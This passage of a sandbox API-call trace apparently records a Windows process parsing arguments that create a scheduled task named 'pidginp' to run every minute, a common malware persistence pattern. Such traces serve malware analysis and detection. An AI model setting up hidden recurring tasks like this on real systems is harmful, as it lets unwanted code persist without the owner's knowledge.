(lpString="mo") returned 2 [0112.996] GetThreadLocale () returned 0x409 [0112.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.996] lstrlenW (lpString="d") returned 1 [0112.996] GetThreadLocale () returned 0x409 [0112.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.996] lstrlenW (lpString="m") returned 1 [0112.996] GetThreadLocale () returned 0x409 [0112.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.996] lstrlenW (lpString="i") returned 1 [0112.996] GetThreadLocale () returned 0x409 [0112.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.999] lstrlenW (lpString="tn") returned 2 [0112.999] GetThreadLocale () returned 0x409 [0112.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.999] lstrlenW (lpString="tr") returned 2 [0112.999] GetThreadLocale () returned 0x409 [0112.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="st") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="sd") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="ed") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="it") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="et") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="k") returned 1 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="du") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.000] lstrlenW (lpString="ri") returned 2 [0113.000] GetThreadLocale () returned 0x409 [0113.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="z") returned 1 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="f") returned 1 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="v1") returned 2 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="xml") returned 3 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="ec") returned 2 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="rl") returned 2 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="delay") returned 5 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.001] lstrlenW (lpString="np") returned 2 [0113.001] GetThreadLocale () returned 0x409 [0113.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0113.002] lstrlenW (lpString="hresult") returned 7 [0113.002] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.002] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.002] lstrlenW (lpString="/create") returned 7 [0113.002] lstrlenW (lpString="-/") returned 2 [0113.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.002] lstrlenW (lpString="create") returned 6 [0113.002] lstrlenW (lpString="create") returned 6 [0113.002] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.002] lstrlenW (lpString="create") returned 6 [0113.002] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.002] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.002] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.002] lstrlenW (lpString="|create|") returned 8 [0113.002] lstrlenW (lpString="|create|") returned 8 [0113.002] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0113.002] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.002] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.002] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.002] lstrlenW (lpString="/tn") returned 3 [0113.002] lstrlenW (lpString="-/") returned 2 [0113.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.002] lstrlenW (lpString="create") returned 6 [0113.003] lstrlenW (lpString="create") returned 6 [0113.003] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.003] lstrlenW (lpString="tn") returned 2 [0113.003] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.003] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.003] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.003] lstrlenW (lpString="|create|") returned 8 [0113.003] lstrlenW (lpString="|tn|") returned 4 [0113.003] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0113.003] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.003] lstrlenW (lpString="?") returned 1 [0113.003] lstrlenW (lpString="?") returned 1 [0113.003] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.003] lstrlenW (lpString="tn") returned 2 [0113.003] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.003] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|?|") returned 3 [0113.003] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.003] lstrlenW (lpString="|?|") returned 3 [0113.003] lstrlenW (lpString="|tn|") returned 4 [0113.003] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.003] lstrlenW (lpString="s") returned 1 [0113.004] lstrlenW (lpString="s") returned 1 [0113.004] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.004] lstrlenW (lpString="tn") returned 2 [0113.004] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.004] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|s|") returned 3 [0113.004] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.004] lstrlenW (lpString="|s|") returned 3 [0113.004] lstrlenW (lpString="|tn|") returned 4 [0113.004] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.004] lstrlenW (lpString="u") returned 1 [0113.004] lstrlenW (lpString="u") returned 1 [0113.004] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.004] lstrlenW (lpString="tn") returned 2 [0113.004] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.004] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|u|") returned 3 [0113.004] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.004] lstrlenW (lpString="|u|") returned 3 [0113.004] lstrlenW (lpString="|tn|") returned 4 [0113.004] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.004] lstrlenW (lpString="p") returned 1 [0113.004] lstrlenW (lpString="p") returned 1 [0113.005] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.005] lstrlenW (lpString="tn") returned 2 [0113.005] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.005] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|p|") returned 3 [0113.005] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.005] lstrlenW (lpString="|p|") returned 3 [0113.005] lstrlenW (lpString="|tn|") returned 4 [0113.005] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.005] lstrlenW (lpString="ru") returned 2 [0113.005] lstrlenW (lpString="ru") returned 2 [0113.005] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.005] lstrlenW (lpString="tn") returned 2 [0113.005] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.005] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ru|") returned 4 [0113.005] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.005] lstrlenW (lpString="|ru|") returned 4 [0113.005] lstrlenW (lpString="|tn|") returned 4 [0113.005] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0113.005] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.005] lstrlenW (lpString="rp") returned 2 [0113.006] lstrlenW (lpString="rp") returned 2 [0113.006] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.006] lstrlenW (lpString="tn") returned 2 [0113.006] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.006] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rp|") returned 4 [0113.006] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.006] lstrlenW (lpString="|rp|") returned 4 [0113.006] lstrlenW (lpString="|tn|") returned 4 [0113.006] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0113.006] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.006] lstrlenW (lpString="sc") returned 2 [0113.006] lstrlenW (lpString="sc") returned 2 [0113.006] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.006] lstrlenW (lpString="tn") returned 2 [0113.006] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.006] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.006] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.006] lstrlenW (lpString="|sc|") returned 4 [0113.006] lstrlenW (lpString="|tn|") returned 4 [0113.006] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0113.006] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.007] lstrlenW (lpString="mo") returned 2 [0113.007] lstrlenW (lpString="mo") returned 2 [0113.007] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.007] lstrlenW (lpString="tn") returned 2 [0113.007] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.007] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.007] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.007] lstrlenW (lpString="|mo|") returned 4 [0113.007] lstrlenW (lpString="|tn|") returned 4 [0113.007] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0113.007] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.007] lstrlenW (lpString="d") returned 1 [0113.007] lstrlenW (lpString="d") returned 1 [0113.007] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.007] lstrlenW (lpString="tn") returned 2 [0113.007] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.007] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|d|") returned 3 [0113.007] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.007] lstrlenW (lpString="|d|") returned 3 [0113.007] lstrlenW (lpString="|tn|") returned 4 [0113.008] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.008] lstrlenW (lpString="m") returned 1 [0113.008] lstrlenW (lpString="m") returned 1 [0113.008] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.008] lstrlenW (lpString="tn") returned 2 [0113.008] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.008] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|m|") returned 3 [0113.008] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.008] lstrlenW (lpString="|m|") returned 3 [0113.008] lstrlenW (lpString="|tn|") returned 4 [0113.008] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.008] lstrlenW (lpString="i") returned 1 [0113.008] lstrlenW (lpString="i") returned 1 [0113.008] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.008] lstrlenW (lpString="tn") returned 2 [0113.008] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.008] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|i|") returned 3 [0113.008] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.008] lstrlenW (lpString="|i|") returned 3 [0113.008] lstrlenW (lpString="|tn|") returned 4 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] lstrlenW (lpString="tn") returned 2 [0113.009] lstrlenW (lpString="tn") returned 2 [0113.009] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.009] lstrlenW (lpString="tn") returned 2 [0113.009] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.009] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.009] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.009] lstrlenW (lpString="|tn|") returned 4 [0113.009] lstrlenW (lpString="|tn|") returned 4 [0113.009] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] lstrlenW (lpString="pidginp") returned 7 [0113.009] lstrlenW (lpString="-/") returned 2 [0113.009] StrChrIW (lpStart="-/", wMatch=0x70) returned 0x0 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] lstrlenW (lpString="pidginp") returned 7 [0113.009] StrChrIW (lpStart="pidginp", wMatch=0x3a) returned 0x0 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.009] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.010] lstrlenW (lpString="pidginp") returned 7 [0113.010] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.010] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.010] lstrlenW (lpString="/sc") returned 3 [0113.010] lstrlenW (lpString="-/") returned 2 [0113.010] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.010] lstrlenW (lpString="create") returned 6 [0113.010] lstrlenW (lpString="create") returned 6 [0113.010] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.010] lstrlenW (lpString="sc") returned 2 [0113.010] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.010] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.010] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.010] lstrlenW (lpString="|create|") returned 8 [0113.010] lstrlenW (lpString="|sc|") returned 4 [0113.010] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0113.010] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.010] lstrlenW (lpString="?") returned 1 [0113.010] lstrlenW (lpString="?") returned 1 [0113.010] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.010] lstrlenW (lpString="sc") returned 2 [0113.010] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.011] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|?|") returned 3 [0113.011] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.011] lstrlenW (lpString="|?|") returned 3 [0113.011] lstrlenW (lpString="|sc|") returned 4 [0113.011] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.011] lstrlenW (lpString="s") returned 1 [0113.011] lstrlenW (lpString="s") returned 1 [0113.011] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.011] lstrlenW (lpString="sc") returned 2 [0113.011] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.011] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|s|") returned 3 [0113.011] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.011] lstrlenW (lpString="|s|") returned 3 [0113.011] lstrlenW (lpString="|sc|") returned 4 [0113.011] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.011] lstrlenW (lpString="u") returned 1 [0113.011] lstrlenW (lpString="u") returned 1 [0113.011] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.011] lstrlenW (lpString="sc") returned 2 [0113.011] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.012] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|u|") returned 3 [0113.012] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.012] lstrlenW (lpString="|u|") returned 3 [0113.012] lstrlenW (lpString="|sc|") returned 4 [0113.012] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.012] lstrlenW (lpString="p") returned 1 [0113.012] lstrlenW (lpString="p") returned 1 [0113.016] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.016] lstrlenW (lpString="sc") returned 2 [0113.016] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.016] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|p|") returned 3 [0113.016] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.016] lstrlenW (lpString="|p|") returned 3 [0113.016] lstrlenW (lpString="|sc|") returned 4 [0113.016] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.016] lstrlenW (lpString="ru") returned 2 [0113.017] lstrlenW (lpString="ru") returned 2 [0113.017] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.017] lstrlenW (lpString="sc") returned 2 [0113.017] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.017] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ru|") returned 4 [0113.017] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.017] lstrlenW (lpString="|ru|") returned 4 [0113.017] lstrlenW (lpString="|sc|") returned 4 [0113.017] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0113.017] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.017] lstrlenW (lpString="rp") returned 2 [0113.017] lstrlenW (lpString="rp") returned 2 [0113.017] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.017] lstrlenW (lpString="sc") returned 2 [0113.017] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.017] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rp|") returned 4 [0113.017] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.017] lstrlenW (lpString="|rp|") returned 4 [0113.017] lstrlenW (lpString="|sc|") returned 4 [0113.017] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0113.017] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.017] lstrlenW (lpString="sc") returned 2 [0113.018] lstrlenW (lpString="sc") returned 2 [0113.018] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.018] lstrlenW (lpString="sc") returned 2 [0113.018] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.018] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.018] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.018] lstrlenW (lpString="|sc|") returned 4 [0113.018] lstrlenW (lpString="|sc|") returned 4 [0113.018] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] lstrlenW (lpString="MINUTE") returned 6 [0113.018] lstrlenW (lpString="-/") returned 2 [0113.018] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] lstrlenW (lpString="MINUTE") returned 6 [0113.018] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.018] GetProcessHeap () returned 0x1b748cb0000 [0113.018] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cba8c0 [0113.019] _memicmp (_Buf1=0x1b748cba8c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.019] lstrlenW (lpString="MINUTE") returned 6 [0113.019] GetProcessHeap () returned 0x1b748cb0000 [0113.019] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xe) returned 0x1b748cbaa40 [0113.019] lstrlenW (lpString="MINUTE") returned 6 [0113.019] lstrlenW (lpString=" \x09") returned 2 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0113.019] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0113.019] GetLastError () returned 0x0 [0113.019] lstrlenW (lpString="MINUTE") returned 6 [0113.019] lstrlenW (lpString="MINUTE") returned 6 [0113.019] RtlRestoreLastWin32Error () returned 0x119efbf000 